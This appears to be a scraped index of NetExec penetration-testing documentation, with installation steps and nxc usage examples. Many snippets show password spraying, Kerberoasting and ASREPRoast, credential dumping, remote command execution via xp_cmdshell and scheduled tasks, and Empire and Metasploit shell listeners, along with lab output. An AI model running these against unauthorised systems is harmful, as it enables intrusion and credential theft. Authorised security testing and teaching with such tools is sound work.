NetExec

https://www.netexec.wiki
Admin
NetExec is an open-source network service exploitation tool designed to help automate security...
Tokens:49,616
Snippets:730
Trust Score:7.1
Update:2 months ago
Show doc for...
Tokens:
Raw
### Setup development environment with uv

Source: https://www.netexec.wiki/getting-started/installation/installation-on-unix.md

Install dependencies and prepare the repository for development using uv.

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
apt install pipx git
pipx ensurepath
pipx install uv
```

```bash
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
uv tool install .
uv run netexec
```

--------------------------------

### Setup development environment with Poetry

Source: https://www.netexec.wiki/getting-started/installation/installation-on-unix.md

Install dependencies and prepare the repository for development using Poetry and the dynamic-versioning plugin.

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
apt install pipx git
pipx ensurepath
pipx install poetry
poetry self add "poetry-dynamic-versioning[plugin]"
poetry dynamic-versioning enable
```

```bash
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
poetry install
poetry run NetExec
```

--------------------------------

### Install NetExec on BlackArch

Source: https://www.netexec.wiki/getting-started/installation/installation-on-unix.md

Installation using the pacman package manager.

```bash
pacman -Syu netexec
```

--------------------------------

### Advanced schtask_as Example

Source: https://www.netexec.wiki/smb-protocol/impersonate-logged-on-users.md

A detailed example showing custom task naming, output file configuration, and location settings.

```bash
nxc smb [] -u [] -p [] --local-auth -M schtask_as -o USER=[target] CMD="whoami" TASK="Windows Update Service" FILE="update.log" LOCATION="\\Windows\\Tasks\\"
```

--------------------------------

### VNC Screenshot Execution Example

Source: https://www.netexec.wiki/vnc-protocol/screenshot-screentime.md

Example output showing a successful VNC authentication and the resulting file path for the saved screenshot.

```bash
nxc vnc 192.168.56.22 -u '' -p Heartsbane --screenshot
VNC         192.168.56.22   5900   192.168.56.22    [*] RFB 3.8
VNC         192.168.56.22   5900   192.168.56.22    [+] Heartsbane
VNC         192.168.56.22   5900   192.168.56.22    Screenshot saved /home/user/.nxc/screenshots/192.168.56.22_192.168.56.22_2026-04-09_000342.png
```

--------------------------------

### Install NetExec on Kali

Source: https://www.netexec.wiki/getting-started/installation/installation-on-unix.md

Installation using the apt package manager.

```bash
apt update
apt install netexec
```

--------------------------------

### Install NetExec with pipx

Source: https://www.netexec.wiki/getting-started/installation/installation-for-mac.md

Install pipx via Homebrew and use it to install the NetExec package from the repository.

```bash
brew install pipx
pipx install git+https://github.com/Pennyw0rth/NetExec
```

--------------------------------

### Install Docker on Ubuntu/Debian

Source: https://www.netexec.wiki/getting-started/installation/using-docker.md

Commands to install and enable the Docker service on Debian-based systems.

```bash
apt install docker.io
systemctl start docker
systemctl enable docker
```

--------------------------------

### SMB Authentication Output Example

Source: https://www.netexec.wiki/smb-protocol/authentication/checking-credentials-domain.md

Example of the console output when a successful SMB authentication occurs, indicating administrative access.

```bash
    SMB         192.168.1.101    445    HOSTNAME          [+] DOMAIN\Username:Password (Pwn3d!)
```

--------------------------------

### Install Rust

Source: https://www.netexec.wiki/getting-started/installation/installation-for-mac.md

Methods to install Rust using Homebrew or the official rustup script.

```bash
brew install rust
```

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
```

--------------------------------

### Install NetExec via pipx

Source: https://www.netexec.wiki/getting-started/installation/installation-on-unix.md

Standard installation method for system-wide access to NetExec and nxcdb.

```bash
sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
```

--------------------------------

### Raisechild Usage Examples

Source: https://www.netexec.wiki/ldap-protocol/raisechild.md

Various command-line examples for executing the Raisechild module with different options.

```bash
nxc ldap <ip> -u <user> -p <pass> -M raisechild
```

```bash
nxc ldap <ip> -u <user> -p <pass> -M raisechild -o USER=test123 USER_ID=1111
```

```bash
nxc ldap <ip> -u <user> -p <pass> -M raisechild -o ETYPE=aes256
```

```bash
nxc ldap <ip> -u <user> -p <pass> -M raisechild -o RID=512
```

--------------------------------

### Install Rust toolchain

Source: https://www.netexec.wiki/getting-started/installation/installation-on-unix.md

Recommended prerequisite to ensure proper compilation of dependencies.

```bash
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
```

--------------------------------

### Install Docker on Arch Linux

Source: https://www.netexec.wiki/getting-started/installation/using-docker.md

Commands to install and enable the Docker service on Arch Linux.

```bash
pacman -S docker
systemctl start docker
systemctl enable docker
```

--------------------------------

### Build NetExec on Windows

Source: https://www.netexec.wiki/getting-started/installation/manually-building-the-binary.md

Commands to set up a virtual environment, install dependencies, and compile the binary on Windows systems.

```bash
python -m venv env
source env/Scripts/activate        # or .env\Scripts\activate
pip install pyinstaller pillow .
pyinstaller netexec.spec
```

--------------------------------

### Install NetExec via pipx

Source: https://www.netexec.wiki/getting-started/installation/installation-on-windows.md

Installs pipx and the NetExec package directly from the GitHub repository.

```bash
pip install pipx
python -m pipx ensurepath
python -m pipx install git+https://github.com/Pennyw0rth/NetExec
```

--------------------------------

### Build NetExec on Linux

Source: https://www.netexec.wiki/getting-started/installation/manually-building-the-binary.md

Commands to set up a virtual environment, install dependencies, and compile the binary on Linux systems.

```bash
virtualenv env
source env/bin/activate
sudo apt remove python3-pyinstaller     # Remove old apt pyinstaller
pip install pyinstaller .
pyinstaller netexec.spec                # This will compile the binary
```

--------------------------------

### Example SMB Authentication Output

Source: https://www.netexec.wiki/smb-protocol/authentication/checking-credentials-local.md

Successful authentication results display the target hostname alongside the validated credentials.

```text
	SMB         192.168.1.101    445    HOSTNAME          [+] HOSTNAME\Username:Password (Pwn3d!)  
```

--------------------------------

### Specify targets using various formats

Source: https://www.netexec.wiki/getting-started/target-formats.md

Examples of how to define targets for any protocol using hostnames, IPs, CIDR, ranges, or files.

```bash
nxc <protocol> poudlard.wizard
```

```bash
nxc <protocol> 192.168.1.0 192.168.0.2
```

```bash
nxc <protocol> 192.168.1.0/24
```

```bash
nxc <protocol> 192.168.1.0-28 10.0.0.1-67
```

```bash
nxc <protocol> ~/targets.txt
```

--------------------------------

### Install Homebrew

Source: https://www.netexec.wiki/getting-started/installation/installation-for-mac.md

Command to install Homebrew on macOS if not already present.

```sh
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```

--------------------------------

### MSSQL Query Output Example

Source: https://www.netexec.wiki/mssql-protocol/mssql-command.md

Example output showing the results of a successful database query.

```text
MSSQL       10.10.10.52     1433   None             [+] admin:m$$ql_S@_P@ssW0rd! (Pwn3d!)
MSSQL       10.10.10.52     1433   None             name
MSSQL       10.10.10.52     1433   None             --------------------------------------------------------------------------------------------------------------------------------
MSSQL       10.10.10.52     1433   None             master
MSSQL       10.10.10.52     1433   None             tempdb
MSSQL       10.10.10.52     1433   None             model
MSSQL       10.10.10.52     1433   None             msdb
MSSQL       10.10.10.52     1433   None             orcharddb
```

--------------------------------

### Start Empire REST API

Source: https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101.md

Initializes the Empire RESTful API for communication with the Empire framework.

```bash
python powershell-empire --rest --user empireadmin --pass Password123!
[*] Loading modules from: /home/mpgn/Tools/Empire/lib/modules/
 * Starting Empire RESTful API on port: 1337
 * RESTful API token: l5l051eqiqe70c75dis68qjheg7b19di7n8auzml
 * Running on https://0.0.0.0:1337/ (Press CTRL+C to quit)
```

--------------------------------

### Metasploit Web Delivery Output

Source: https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101.md

Example output showing the web server initialization for the payload.

```bash
msf exploit(web_delivery) > run -j
[*] Exploit running as background job.

[*] Started HTTPS reverse handler on https://10.211.55.4:8443/
[*] Using URL: http://10.211.55.4:8080/eYEssEwv2D
[*] Local IP: http://10.211.55.4:8080/eYEssEwv2D
[*] Server started.
```

--------------------------------

### Query documentation via HTTP GET

Source: https://www.netexec.wiki/llms.txt

Perform an HTTP GET request to the documentation index using the ask and goal parameters to retrieve specific information.

```http
GET https://www.netexec.wiki/ldap-protocol/get-scriptpath.md?ask=<question>&goal=<end_goal>
```

--------------------------------

### View NetExec Output and Relay List

Source: https://www.netexec.wiki/smb-protocol/enumeration/smb-signing-not-required.md

Example output showing SMB signing status and the resulting content of the generated relay list file.

```bash
SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB         192.168.1.111    445    SERVER1          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:SERVER1) (domain:PACIFIC) (signing:False) (SMBv1:True)
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)
...SNIP...

#~ cat relay_list.txt
192.168.1.111
192.168.1.117
```

--------------------------------

### WinRM authentication expected output

Source: https://www.netexec.wiki/winrm-protocol/authentication.md

Example output showing successful authentication via WinRM.

```text
WINRM       192.168.255.131 5985   ROGER            [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   ROGER            [+] GOLD\user:password (Pwn3d!)
```

--------------------------------

### View SSH authentication results

Source: https://www.netexec.wiki/ssh-protocol/authentication.md

Example output showing successful authentication against an SSH target.

```bash
SSH         127.0.0.1       22     127.0.0.1        [*] SSH-2.0-OpenSSH_8.2p1 Debian-4
SSH         127.0.0.1       22     127.0.0.1        [+] user:password
```

--------------------------------

### Example SMB Enumeration Output

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-hosts.md

Displays the expected output format when scanning for SMB hosts, including OS version, domain, and signing status.

```text
SMB         192.168.1.101    445    DC2012A          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.102    445    DC2012B          [*] Windows Server 2012 R2 Standard 9600 x64 (name:DC2012B) (domain:EARTH) (signing:True) (SMBv1:True)
SMB         192.168.1.110    445    DC2016A          [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:DC2016A) (domain:OCEAN) (signing:True) (SMBv1:True)
SMB         192.168.1.117    445    WIN10DESK1       [*] WIN10DESK1 x64 (name:WIN10DESK1) (domain:OCEAN) (signing:False) (SMBv1:True)
```

--------------------------------

### Handle Denied xp_cmdshell Permissions

Source: https://www.netexec.wiki/mssql-protocol/windows-command.md

Example output when the database user lacks the necessary permissions to execute xp_cmdshell.

```bash
MSSQL       10.10.10.52     1433   None             [+] admin:m$$ql_S@_P@ssW0rd! (Pwn3d!)
MSSQL       10.10.10.52     1433   None             [-] ERROR(MANTIS\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
MSSQL       10.10.10.52     1433   None             [+] Executed command via mssqlexec
MSSQL       10.10.10.52     1433   None             None
```

--------------------------------

### View WMI authentication result

Source: https://www.netexec.wiki/wmi-protocol/authentication.md

Example of the output format when a successful WMI authentication occurs.

```bash
WMI       10.10.10.52     1433   MANTIS           [+] HTB\james:J@m3s_P@ssW0rd! 
```

--------------------------------

### MSSQL Authentication Expected Results

Source: https://www.netexec.wiki/mssql-protocol/authentication.md

Example output showing successful authentication results for Windows and local methods.

```bash
MSSQL       10.10.10.52     1433   MANTIS           [+] HTB\james:J@m3s_P@ssW0rd! 
```

```bash
MSSQL       10.10.10.52     1433   None             [+] admin:m$$ql_S@_P@ssW0rd! (Pwn3d!)
```

--------------------------------

### WinRM Spraying Output Example

Source: https://www.netexec.wiki/winrm-protocol/password-spraying.md

Displays the expected console output when running a WinRM password spray, showing authentication attempts and successful logins.

```bash
WINRM       192.168.255.131 5985   ROGER            [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   ROGER            [-] GOLD\test1:pass1 "Failed to authenticate the user test1 with ntlm"
WINRM       192.168.255.131 5985   ROGER            [+] GOLD\bonclay:Password@123 (Pwn3d!)
```

--------------------------------

### MSSQL Password Spray Output

Source: https://www.netexec.wiki/mssql-protocol/mssql-passwordspray.md

Example output showing failed login attempts and a successful authentication.

```text
MSSQL       10.10.10.59     1433   None             [-] ERROR(TALLY): Line 1: Login failed for user 'test1'.
MSSQL       10.10.10.59     1433   None             [+] sa:password (Pwn3d!)
```

--------------------------------

### WinRM authentication with domain expected output

Source: https://www.netexec.wiki/winrm-protocol/authentication.md

Example output showing successful authentication via WinRM when specifying a domain.

```text
WINRM       192.168.255.131 5985   192.168.255.131  [*] http://192.168.255.131:5985/wsman
WINRM       192.168.255.131 5985   192.168.255.131  [+] GOLD\user:password (Pwn3d!)
```

--------------------------------

### Enable Tab Completion for Bash and Zsh

Source: https://www.netexec.wiki/getting-started/installation/setting-up-tab-completion.md

Install argcomplete and register the nxc command for automatic tab completion in your shell configuration files.

```bash
sudo apt install python3-argcomplete

# For Bash
register-python-argcomplete nxc >> ~/.bashrc

# For Zsh
register-python-argcomplete nxc >> ~/.zshrc
```

--------------------------------

### Execute Windows Command via xp_cmdshell

Source: https://www.netexec.wiki/mssql-protocol/windows-command.md

Use the -x flag to execute a command on the remote host. This example demonstrates a successful execution.

```bash
nxc mssql 10.10.10.59 -u sa -p 'GWE3V65#6KFH93@4GWTG2G' --local-auth -x whoami
MSSQL       10.10.10.59     1433   None             [+] sa:GWE3V65#6KFH93@4GWTG2G (Pwn3d!)
MSSQL       10.10.10.59     1433   None             [+] Executed command via mssqlexec
MSSQL       10.10.10.59     1433   None             --------------------------------------------------------------------------------
MSSQL       10.10.10.59     1433   None             tally\sarah
```

--------------------------------

### Viewing General Help and Available Protocols

Source: https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol.md

Displays the global help menu, including available protocols and general configuration flags.

```bash
#~ nxc --help
usage: nxc [-h] [-t THREADS] [--timeout TIMEOUT] [--jitter INTERVAL] [--no-progress] [--verbose] [--debug] [--version] {smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql} ...

    <-- Banner -->   

options:
  -h, --help            show this help message and exit
  -t THREADS            set how many concurrent threads to use (default: 100)
  --timeout TIMEOUT     max timeout in seconds of each thread (default: None)
  --jitter INTERVAL     sets a random delay between each connection (default: None)
  --no-progress         Not displaying progress bar during scan
  --verbose             enable verbose output
  --debug               enable debug level information
  --version             Display nxc version

protocols:
  available protocols

  {smb,ssh,ldap,ftp,wmi,winrm,rdp,vnc,mssql,nfs}
    smb                 own stuff using SMB
    ssh                 own stuff using SSH
    ldap                own stuff using LDAP
    ftp                 own stuff using FTP
    wmi                 own stuff using WMI
    winrm               own stuff using WINRM
    rdp                 own stuff using RDP
    vnc                 own stuff using VNC
    mssql               own stuff using MSSQL
    nfs                 own stuff using NFS
```

--------------------------------

### Managing workspaces

Source: https://www.netexec.wiki/getting-started/database-general-usage.md

Commands for creating, switching, and listing workspaces.

```bash
nxcdb (default) > workspace create test
[*] Creating workspace 'test'
<-- CUT -->
nxcdb (test) >
```

```bash
nxcdb (test) > workspace default
nxcdb (default) >
```

```bash
nxcdb (test) > workspace list
[*] Enumerating Workspaces
default
==> test
```

--------------------------------

### Verify NetExec Commands

Source: https://www.netexec.wiki/getting-started/installation/setting-up-tab-completion.md

Commands to verify that NetExec is correctly installed and accessible in your shell.

```bash
NetExec
netexec
nxc
```

--------------------------------

### Expected authentication result

Source: https://www.netexec.wiki/ldap-protocol/authentication.md

Example output format when a successful LDAP authentication is detected.

```text
LDAP        192.168.255.131 5985   ROGER            [+] GOLD\user:password
```

--------------------------------

### List available modules for a protocol

Source: https://www.netexec.wiki/getting-started/using-modules.md

Use the -L flag to display all modules compatible with a specific protocol.

```bash
nxc smb -L
```

--------------------------------

### View module options

Source: https://www.netexec.wiki/getting-started/using-modules.md

Display supported configuration options for a specific module using the --options flag.

```bash
nxc smb -M lsassy --options
```

--------------------------------

### Accessing Protocol Options

Source: https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol.md

Commands to view help for a specific protocol or execute a protocol with custom options.

```bash
nxc <protocol> --help
```

```bash
nxc <protocol> <protocol options>
```

--------------------------------

### Get a file from a remote target

Source: https://www.netexec.wiki/ssh-protocol/get-and-put-files.md

Downloads a file from a specified path on the remote host to the local machine.

```bash
nxc ssh 172.16.251.152 -u user -p pass --get-file /tmp/file.txt file.txt
```

--------------------------------

### GET /documentation-index

Source: https://www.netexec.wiki/llms.txt

Perform a natural language query against the documentation index to retrieve answers and relevant excerpts.

```APIDOC
## GET /?ask=<question>&goal=<end_goal>

### Description
Queries the documentation index using a natural language question and an optional end goal to receive a tailored response with relevant sources.

### Method
GET

### Endpoint
https://www.netexec.wiki/?ask=<question>&goal=<end_goal>

### Parameters
#### Query Parameters
- **ask** (string) - Required - The specific, self-contained question to ask.
- **goal** (string) - Optional - The broader end goal to help tailor the response.

### Request Example
GET https://www.netexec.wiki/?ask=How do I dump NTDS.dit?&goal=credential extraction
```

--------------------------------

### Authenticate with PEM certificate and key

Source: https://www.netexec.wiki/getting-started/using-certificates.md

Use separate PEM certificate and key files for SMB authentication.

```bash
nxc smb 192.168.0.1 --pem-cert user.pem --pem-key key.pem -u user
```

--------------------------------

### Build and Run NetExec Container

Source: https://www.netexec.wiki/getting-started/installation/using-docker.md

Commands to clone the repository, build the Docker image, and execute the container.

```bash
git clone https://github.com/Pennyw0rth/NetExec
cd NetExec
docker build -t netexec .
docker run --rm -it netexec --help
```

--------------------------------

### Enumerate network interfaces with NetExec

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-network-interfaces.md

Requires local admin privileges on the target. Use the --local-auth flag if authenticating with a local account.

```bash
nxc smb 192.168.56.11 -u USERNAME -p 'PASSWORDHERE' --interfaces
```

--------------------------------

### Manual Guest Logon Enumeration with NetExec

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-guest-logon.md

Use these commands to manually test for guest access by providing a dummy username and an empty password.

```bash
nxc smb 10.10.10.178 -u 'a' -p '' 
nxc smb 10.10.10.178 -u 'a' -p '' --shares
```

--------------------------------

### Execute pre2k module

Source: https://www.netexec.wiki/ldap-protocol/pre2k.md

Run the pre2k module against a target host using provided credentials.

```bash
nxc ldap <hostname> -u <user> -p <pass> -M pre2k
```

--------------------------------

### Get a file from a remote target

Source: https://www.netexec.wiki/smb-protocol/get-and-put-files.md

Downloads a file from a specified path on the remote SMB target to the local machine.

```bash
nxc smb 172.16.251.152 -u user -p pass --get-file \\Windows\\Temp\\whoami.txt /tmp/whoami.txt
```

--------------------------------

### Authenticate with PFX certificate

Source: https://www.netexec.wiki/getting-started/using-certificates.md

Use a PFX certificate file for SMB authentication.

```bash
nxc smb 192.168.0.1 --pfx-cert user.pfx -u user
```

--------------------------------

### Download a file via FTP

Source: https://www.netexec.wiki/ftp-protocol/get-and-put-files.md

Use the --get flag to retrieve a specific file from the target FTP server.

```bash
nxc ftp <ip> -u <username> -p <password> --get <filename>
```

```bash
nxc ftp 10.10.176.246 -u frank -p D2xc9CgD --get ftp_flag.thm
FTP         10.10.176.246   21     10.10.176.246    [*] Banner: (vsFTPd 3.0.3)
FTP         10.10.176.246   21     10.10.176.246    [+] frank:D2xc9CgD
FTP         10.10.176.246   21     10.10.176.246    [+] Downloaded: ftp_flag.thm
```

--------------------------------

### Perform ASREPRoast with authentication

Source: https://www.netexec.wiki/ldap-protocol/asreproast.md

Use valid domain credentials to retrieve hashes for users where pre-authentication is not required.

```bash
nxc ldap 192.168.0.104 -u harry -p pass --asreproast output.txt
```

```bash
nxc ldap 192.168.0.104 -u harry -p pass --asreproast output.txt --kdcHost domain_name
```

--------------------------------

### Clone the NetExec Repository

Source: https://www.netexec.wiki/getting-started/installation/manually-building-the-binary.md

Initial step to obtain the source code from GitHub.

```bash
git clone https://github.com/Pennyw0rth/NetExec.git
cd NetExec
```

--------------------------------

### Escaping Credentials Starting with Dashes

Source: https://www.netexec.wiki/getting-started/using-credentials.md

Use the long argument format with an equals sign to prevent parsing errors when credentials begin with a dash.

```bash
nxc <protocol> <target(s)> -u='-username' -p='-October2022'
```

--------------------------------

### Accessing and switching protocol databases

Source: https://www.netexec.wiki/getting-started/database-general-usage.md

Commands to select a specific protocol database and return to the workspace level.

```bash
nxcdb (test) > proto smb
nxcdb (test)(smb) >
```

```bash
nxcdb (test)(smb) > back
nxcdb (test) > proto http
nxcdb (test)(http) >
```

--------------------------------

### Configure Certificate Authentication

Source: https://www.netexec.wiki/news/v1.4.0-smoothoperator

Use these flags to specify PFX or PEM certificate files for authentication.

```bash
--pfx-cert/--pfx-base64 with --pfx-pass for PFX certificates
--pem-cert with --pem-key for PEM certificates
```

--------------------------------

### Generate krb5.conf and set environment variable

Source: https://www.netexec.wiki/smb-protocol/generate-krb5.conf-file

Use this command to generate the configuration file at a specified path and subsequently export the KRB5_CONFIG environment variable to point to it.

```bash
netexec smb ip -u user -p password --generate-krb5-file /path
export KRB5_CONFIG=/path
```

--------------------------------

### Dump unsaved Notepad++ documents via SMB

Source: https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-notepad%2B%2B.md

Requires local administrator privileges on the target. Use the --local-auth flag if authenticating with a local account.

```bash
nxc smb <ip> -u username -p password -M notepad++
```

--------------------------------

### Accessing the nxcdb shell

Source: https://www.netexec.wiki/getting-started/database-general-usage.md

Launch the interactive database management shell.

```bash
#~ nxcdb
nxcdb (default) >
```

--------------------------------

### Module Options Reference

Source: https://www.netexec.wiki/smb-protocol/impersonate-logged-on-users.md

Configuration options available for the schtask_as module.

```text
CMD            Command to execute
USER           User to execute command as
BINARY         OPTIONAL: Upload the binary to be executed by CMD
TASK           OPTIONAL: Set a name for the scheduled task name
FILE           OPTIONAL: Set a name for the command output file
LOCATION       OPTIONAL: Set a location for the command output file (e.g. '\tmp\')
```

--------------------------------

### Perform SMB password spraying with files

Source: https://www.netexec.wiki/smb-protocol/password-spraying.md

Provide paths to text files containing usernames or passwords, with one entry per line.

```bash
nxc smb 192.168.1.101 -u /path/to/users.txt -p Summer18
nxc smb 192.168.1.101 -u Administrator -p /path/to/passwords.txt
```

--------------------------------

### Enumerate Null Sessions with smbclient

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-null-sessions.md

List available shares on a target using smbclient with anonymous authentication.

```bash
smbclient -N -U "" -L \\10.10.10.161
```

--------------------------------

### Execute LDAP User Description Search

Source: https://www.netexec.wiki/ldap-protocol/get-user-descriptions.md

Run the get-desc-users module against a target host using provided credentials.

```bash
nxc ldap <hostname> -u <user> -p <pass> -M get-desc-users
```

--------------------------------

### Enumerate all SMB shares

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-shares-and-access.md

Lists all available shares on the target network range.

```bash
nxc smb 192.168.1.0/24 -u user -p 'PASSWORDHERE' --shares
```

--------------------------------

### Perform Kerberoasting via AS-REP Roasting

Source: https://www.netexec.wiki/ldap-protocol/kerberoasting.md

Leverages accounts that do not require pre-authentication to perform Kerberoasting.

```bash
nxc ldap 192.168.0.104 -u harry -p '' --no-preauth-targets kerberoastable.list --kerberoasting output.txt
```

--------------------------------

### Download a file from MSSQL

Source: https://www.netexec.wiki/mssql-protocol/mssql-upload-download.md

Use the --get-file flag to retrieve a file from the remote MSSQL server to the local machine.

```bash
nxc mssql 10.10.10.52 -u admin -p 'm$$ql_S@_P@ssW0rd!' --get-file C:\\Windows\\Temp\\whoami.txt /tmp/file
```

```bash
nxc mssql 192.168.212.134 -u administrator -p October2022 --get-file C:\\Windows\\Temp\\whoami.txt /tmp/users-t
MSSQL       192.168.212.134 1433   DC01             [*] Windows 10.0 Build 20348 (name:DC01) (domain:poudlard.wizard)
MSSQL       192.168.212.134 1433   DC01             [+] poudlard.wizard\administrator:October2022 (Pwn3d!)
MSSQL       192.168.212.134 1433   DC01             [*] Copy C:\Windows\Temp\whoami.txt to /tmp/users-t
MSSQL       192.168.212.134 1433   DC01             [+] File C:\Windows\Temp\whoami.txt was transferred to /tmp/users-t
```

--------------------------------

### Dump security questions using NetExec

Source: https://www.netexec.wiki/smb-protocol/dump-user-local-security-questions.md

Executes the security-questions module against a target host. Requires local administrator privileges.

```bash
nxc smb <ip> -u user -p pass -M security-questions
```

--------------------------------

### Execute Compiled Windows Binary

Source: https://www.netexec.wiki/getting-started/installation/manually-building-the-binary.md

Path to the resulting binary after a successful build on Windows.

```bash
./dist/nxc.exe
```

--------------------------------

### Configure Empire Listener

Source: https://www.netexec.wiki/smb-protocol/command-execution/getting-shells-101.md

Sets up a native listener within the Empire console.

```bash
(Empire: listeners) > set Name test
(Empire: listeners) > set Host 192.168.10.3
(Empire: listeners) > set Port 9090
(Empire: listeners) > set CertPath data/empire.pem
(Empire: listeners) > run
(Empire: listeners) > list

[*] Active listeners:

  ID    Name              Host                                 Type      Delay/Jitter   KillDate    Redirect Target
  --    ----              ----                                 -------   ------------   --------    ---------------
  1     test              http://192.168.10.3:9090                 native    5/0.0                      

(Empire: listeners) > 
```

--------------------------------

### Windows Authentication with SMB Open

Source: https://www.netexec.wiki/mssql-protocol/authentication.md

Standard command to authenticate to an MSSQL instance using Windows credentials when the SMB port is accessible.

```bash
nxc mssql 10.10.10.52 -u james -p 'J@m3s_P@ssW0rd!'
```

--------------------------------

### Configure BloodHound settings in nxc.conf

Source: https://www.netexec.wiki/getting-started/bloodhound-integration.md

Add these settings to ~/.nxc/nxc.conf to enable BloodHound integration and specify connection parameters.

```bash
[BloodHound]
bh_enabled = True
bh_uri = 127.0.0.1
bh_port = 7687
bh_user = user
bh_pass = pass
```

--------------------------------

### Download and Upload Files with Share Specification

Source: https://www.netexec.wiki/nfs-protocol/download-and-upload-files.md

Demonstrates basic file transfer operations while explicitly defining the NFS share path.

```bash
# Share name is "/home/user/Desktop/NFSShare"
nxc nfs <ip> --share /home/user/Desktop/NFSShare/ --get-file as.txt as.txt

# Example Output                                                          
NFS         <ip>  <nfs_port>  <ip>   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         <ip>  <nfs_port>  <ip>   [*] Downloading as.txt to as.txt
NFS         <ip>  <nfs_port>  <ip>   File successfully downloaded from as.txt to as.txt

nxc nfs <ip> --share /home/user/Desktop/NFSShare/ --put-file aa.txt aa.txt

# Example Output                                                          
NFS         <ip>  <nfs_port>  <ip>   [*] Supported NFS versions: (3, 4) (root escape:True)
NFS         <ip>  <nfs_port>  <ip>   [*] Uploading from aa.txt to aa.txt
NFS         <ip>  <nfs_port>  <ip>   [*] Trying to create aa.txtaa.txt
NFS         <ip>  <nfs_port>  <ip>   [+] aa.txt successfully created
NFS         <ip>  <nfs_port>  <ip>   [+] Data from aa.txt successfully written to aa.txt with permissions 777
NFS         <ip>  <nfs_port>  <ip>   File aa.txt successfully uploaded to aa.txt
```

--------------------------------

### List of Supported Protocols

Source: https://www.netexec.wiki/getting-started/selecting-and-using-a-protocol.md

A list of protocols currently supported by NetExec.

```bash
smb
ssh
ldap
ftp
wmi
winrm
rdp
vnc
mssql
nfs
```

--------------------------------

### Enumerate AV/EDR with NetExec

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-antivirus-edr.md

Executes the enum_av module against a target SMB host using provided credentials.

```bash
nxc smb <ip> -u user -p pass -M enum_av
```

--------------------------------

### Configure module options

Source: https://www.netexec.wiki/getting-started/using-modules.md

Pass module-specific parameters using the -o flag in KEY=value format.

```bash
nxc <protocol> <target(s)> -u Administrator -p 'P@ssw0rd' -M lsassy -o COMMAND=xxxxxxxxug'
```

--------------------------------

### Test VNC credentials

Source: https://www.netexec.wiki/vnc-protocol/authentication.md

Use an empty username and a password to test authentication. NetExec ignores any provided username.

```bash
nxc vnc <ip> -u '' -p <password>
```

```bash
nxc vnc 192.168.56.22 -u '' -p 'badpassword'
VNC         192.168.56.22   5900   192.168.56.22    [*] RFB 3.8
VNC         192.168.56.22   5900   192.168.56.22    [+] badpassword
```

--------------------------------

### Dump PuTTY credentials with NetExec

Source: https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-putty.md

Requires local admin privileges on the target. Use --local-auth if authenticating with a local account.

```bash
nxc smb 192.168.56.11 -u eddard.stark -p FightP3aceAndHonor! -M putty
```

--------------------------------

### Enumerate BitLocker with NetExec

Source: https://www.netexec.wiki/smb-protocol/enumeration/enumerate-bitlocker.md

Use this command to check the BitLocker status on a remote target using SMB credentials.

```bash
nxc smb <ip> -u username -p password -M bitlocker
```

--------------------------------

### Dump unsaved Notepad documents via SMB

Source: https://www.netexec.wiki/smb-protocol/obtaining-credentials/dump-notepad.md

Executes the notepad module against a target host. Requires local admin privileges and the --local-auth flag if using a local account.

```bash
nxc smb <ip> -u username -p password -M notepad
```

--------------------------------

### Authenticate to MSSQL

Source: https://www.netexec.wiki/mssql-protocol/mssql-privesc.md

Standard authentication command to verify connectivity to an MSSQL instance.

```bash
nxc mssql <ip> -u user -p password                       
MSSQL       <ip>   1433   FQDN      [*] Windows 10 / Server 2019 Build 17763 (name:FQDN) (domain:FQDN.local)
MSSQL       <ip>   1433   FQDN      [+] FQDN\user:password
```

--------------------------------

### Downloading files with spider_plus module

Source: https://www.netexec.wiki/smb-protocol/spidering-shares.md

Enable the DOWNLOAD_FLAG option to copy all discovered files to the local host.

```bash
nxc smb 10.10.10.10 -u 'user' -p 'pass' -M spider_plus -o DOWNLOAD_FLAG=True
```

--------------------------------

### Authenticate with local credentials

Source: https://www.netexec.wiki/wmi-protocol/authentication.md

Use the --local-auth flag to authenticate using local account credentials.

```bash
nxc wmi 10.10.10.52 -u admin -p 'admin' --local-auth
```

--------------------------------

### Perform SMB password spraying with lists

Source: https://www.netexec.wiki/smb-protocol/password-spraying.md

Use space-separated lists of usernames or passwords directly in the command line.

```bash
nxc smb 192.168.1.101 -u user1 user2 user3 -p Summer18
